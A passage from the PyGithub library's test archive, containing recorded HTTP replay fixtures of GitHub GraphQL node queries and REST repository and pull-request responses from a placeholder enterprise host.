strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7F65:1B2122:68DCF:69F2E:66EA904A')] {"data":{"followOrganization":{"organization":{"name":"PyGithub"}}}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GraphQl.testNode.txt0000644000175100001660000001274214756101563022047 0ustar00runnerdockerhttps POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "\n query Q($id: ID!) {\n node(id: $id) {\n __typename\n ... on Discussion { title }\n }\n }\n ", "variables": {"id": "D_kwDOADYVqs4ATJZD"}} 200 [('Date', 'Tue, 17 Sep 2024 18:12:07 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'read:discussion, read:org'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4982'), ('X-RateLimit-Reset', '1726598744'), ('X-RateLimit-Used', '18'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7FAB:3166F9:53E3E2:54CFDB:66E9C677')] {"data":{"node":{"__typename":"Discussion","title":"Is there a way to search if a string present in default branch?"}}} https POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "\n query Q($id: ID!) {\n node(id: $id) {\n __typename\n ... on Discussion { title }\n }\n }\n ", "variables": {"id": "D_abcdefgh"}} 200 [('Date', 'Tue, 17 Sep 2024 18:12:16 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'read:discussion, read:org'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4981'), ('X-RateLimit-Reset', '1726598744'), ('X-RateLimit-Used', '19'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7FF2:3166F9:5409E6:54F641:66E9C680')] {"data":{"node":null},"errors":[{"type":"NOT_FOUND","path":["node"],"locations":[{"line":3,"column":15}],"message":"Could not resolve to a node with the global id of 'D_abcdefgh'"}]} https POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "\n query Q($id: ID!) {\n node(id: $id) {\n __typename\n ... on User { login }\n }\n }\n ", "variables": {"id": "D_kwDOADYVqs4ATJZD"}} 200 [('Date', 'Tue, 17 Sep 2024 18:12:29 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'read:discussion, read:org'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4980'), ('X-RateLimit-Reset', '1726598744'), ('X-RateLimit-Used', '20'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7F46:1ED26E:57A112:5890ED:66E9C68D')] {"data":{"node":{"__typename":"Discussion"}}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GraphQl.testNodeClass.txt0000644000175100001660000001274214756101563023035 0ustar00runnerdockerhttps POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "\n query Q($id: ID!) {\n node(id: $id) {\n __typename\n ... on Discussion { title }\n }\n }\n ", "variables": {"id": "D_kwDOADYVqs4ATJZD"}} 200 [('Date', 'Tue, 17 Sep 2024 18:12:07 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'read:discussion, read:org'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4982'), ('X-RateLimit-Reset', '1726598744'), ('X-RateLimit-Used', '18'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7FAB:3166F9:53E3E2:54CFDB:66E9C677')] {"data":{"node":{"__typename":"Discussion","title":"Is there a way to search if a string present in default branch?"}}} https POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "\n query Q($id: ID!) {\n node(id: $id) {\n __typename\n ... on Discussion { title }\n }\n }\n ", "variables": {"id": "D_abcdefgh"}} 200 [('Date', 'Tue, 17 Sep 2024 18:12:16 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'read:discussion, read:org'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4981'), ('X-RateLimit-Reset', '1726598744'), ('X-RateLimit-Used', '19'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7FF2:3166F9:5409E6:54F641:66E9C680')] {"data":{"node":null},"errors":[{"type":"NOT_FOUND","path":["node"],"locations":[{"line":3,"column":15}],"message":"Could not resolve to a node with the global id of 'D_abcdefgh'"}]} https POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "\n query Q($id: ID!) {\n node(id: $id) {\n __typename\n ... on User { login }\n }\n }\n ", "variables": {"id": "D_kwDOADYVqs4ATJZD"}} 200 [('Date', 'Tue, 17 Sep 2024 18:12:29 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'read:discussion, read:org'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4980'), ('X-RateLimit-Reset', '1726598744'), ('X-RateLimit-Used', '20'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7F46:1ED26E:57A112:5890ED:66E9C68D')] {"data":{"node":{"__typename":"Discussion"}}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GraphQl.testOtherPort.txt0000644000175100001660000006454614756101563023121 0ustar00runnerdockerhttps GET my.enterprise.com 8080 /api/v3/repos/PyGithub/PyGithub {'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'enterprise.com'), ('Date', 'Sat, 20 Jan 2024 09:58:50 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"8d3a8781cb083ecf6b9194272a6522af705bd0d8c5bbaa959618b6d51725387e"'), ('Last-Modified', 'Sat, 20 Jan 2024 06:37:31 GMT'), ('github-authentication-token-expiration', '2024-02-19 10:58:06 +0100'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-accepted-github-permissions', 'metadata=read'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4998'), ('X-RateLimit-Reset', '1705746614'), ('X-RateLimit-Used', '2'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B70C:505BC:14BDE07A:14F6AE81:65AB9959')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://my.enterprise.com:8080/api/v3/users/PyGithub","html_url":"https://my.enterprise.com:8080/PyGithub","followers_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/followers","following_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/following{/other_user}","gists_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/gists{/gist_id}","starred_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/subscriptions","organizations_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/orgs","repos_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/repos","events_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/events{/privacy}","received_events_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://my.enterprise.com:8080/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub","forks_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/forks","keys_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/teams","hooks_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/events","assignees_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/tags","blobs_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/languages","stargazers_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/subscription","commits_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/merges","archive_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/downloads","issues_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2024-01-20T06:37:31Z","pushed_at":"2024-01-19T20:38:15Z","git_url":"git://my.enterprise.com:8080/PyGithub/PyGithub.git","ssh_url":"git@my.enterprise.com:PyGithub/PyGithub.git","clone_url":"https://my.enterprise.com:8080/PyGithub/PyGithub.git","svn_url":"https://my.enterprise.com:8080/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":15500,"stargazers_count":6484,"watchers_count":6484,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1715,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":288,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://my.enterprise.com:8080/api/v3/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1715,"open_issues":288,"watchers":6484,"default_branch":"main","permissions":{"admin":false,"maintain":false,"push":true,"triage":true,"pull":true},"custom_properties":{},"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://my.enterprise.com:8080/api/v3/users/PyGithub","html_url":"https://my.enterprise.com:8080/PyGithub","followers_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/followers","following_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/following{/other_user}","gists_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/gists{/gist_id}","starred_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/subscriptions","organizations_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/orgs","repos_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/repos","events_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/events{/privacy}","received_events_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1715,"subscribers_count":111} https GET my.enterprise.com 8080 /api/v3/repos/PyGithub/PyGithub/pulls/31 {'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'enterprise.com'), ('Date', 'Sat, 20 Jan 2024 09:58:50 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"add6f9aeb7d78b7a86d664f8107ca57bac6312a49fa4a9279afaebe7180405e5"'), ('Last-Modified', 'Thu, 21 Sep 2023 07:32:37 GMT'), ('github-authentication-token-expiration', '2024-02-19 10:58:06 +0100'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-accepted-github-permissions', 'pull_requests=read; contents=read'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4997'), ('X-RateLimit-Reset', '1705746614'), ('X-RateLimit-Used', '3'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B714:354E89:774D594:78D06E8:65AB995A')] {"url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/pulls/31","id":1436215,"node_id":"MDExOlB1bGxSZXF1ZXN0MTQzNjIxNQ==","html_url":"https://my.enterprise.com:8080/PyGithub/PyGithub/pull/31","diff_url":"https://my.enterprise.com:8080/PyGithub/PyGithub/pull/31.diff","patch_url":"https://my.enterprise.com:8080/PyGithub/PyGithub/pull/31.patch","issue_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/issues/31","number":31,"state":"closed","locked":false,"title":"Title edited by PyGithub","user":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://my.enterprise.com:8080/api/v3/users/jacquev6","html_url":"https://my.enterprise.com:8080/jacquev6","followers_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/followers","following_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/following{/other_user}","gists_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/gists{/gist_id}","starred_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/subscriptions","organizations_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/orgs","repos_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/repos","events_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/events{/privacy}","received_events_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/received_events","type":"User","site_admin":false},"body":"Body edited by PyGithub\n","created_at":"2012-05-27T09:25:36Z","updated_at":"2018-06-25T12:54:43Z","closed_at":"2012-05-27T10:29:07Z","merged_at":"2012-05-27T10:29:07Z","merge_commit_sha":"28ae6dd10ebccd5eaf8db8dacb5b699ee7f4a663","assignee":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://my.enterprise.com:8080/api/v3/users/jacquev6","html_url":"https://my.enterprise.com:8080/jacquev6","followers_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/followers","following_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/following{/other_user}","gists_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/gists{/gist_id}","starred_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/subscriptions","organizations_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/orgs","repos_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/repos","events_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/events{/privacy}","received_events_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/received_events","type":"User","site_admin":false},"assignees":[{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://my.enterprise.com:8080/api/v3/users/jacquev6","html_url":"https://my.enterprise.com:8080/jacquev6","followers_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/followers","following_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/following{/other_user}","gists_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/gists{/gist_id}","starred_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/subscriptions","organizations_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/orgs","repos_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/repos","events_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/events{/privacy}","received_events_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/received_events","type":"User","site_admin":false}],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"draft":false,"commits_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/pulls/31/commits","review_comments_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/pulls/31/comments","review_comment_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/pulls/comments{/number}","comments_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/issues/31/comments","statuses_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/statuses/8a4f306d4b223682dd19410d4a9150636ebe4206","head":{"label":null,"ref":"master","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","user":null,"repo":null},"base":{"label":"PyGithub:topic/RewriteWithGeneratedCode","ref":"topic/RewriteWithGeneratedCode","sha":"ed866fc43833802ab553e5ff8581c81bb00dd433","user":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://my.enterprise.com:8080/api/v3/users/PyGithub","html_url":"https://my.enterprise.com:8080/PyGithub","followers_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/followers","following_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/following{/other_user}","gists_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/gists{/gist_id}","starred_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/subscriptions","organizations_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/orgs","repos_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/repos","events_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/events{/privacy}","received_events_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/received_events","type":"Organization","site_admin":false},"repo":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://my.enterprise.com:8080/api/v3/users/PyGithub","html_url":"https://my.enterprise.com:8080/PyGithub","followers_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/followers","following_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/following{/other_user}","gists_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/gists{/gist_id}","starred_url":"https://my.enterprise.com:8080/api/v3/users/P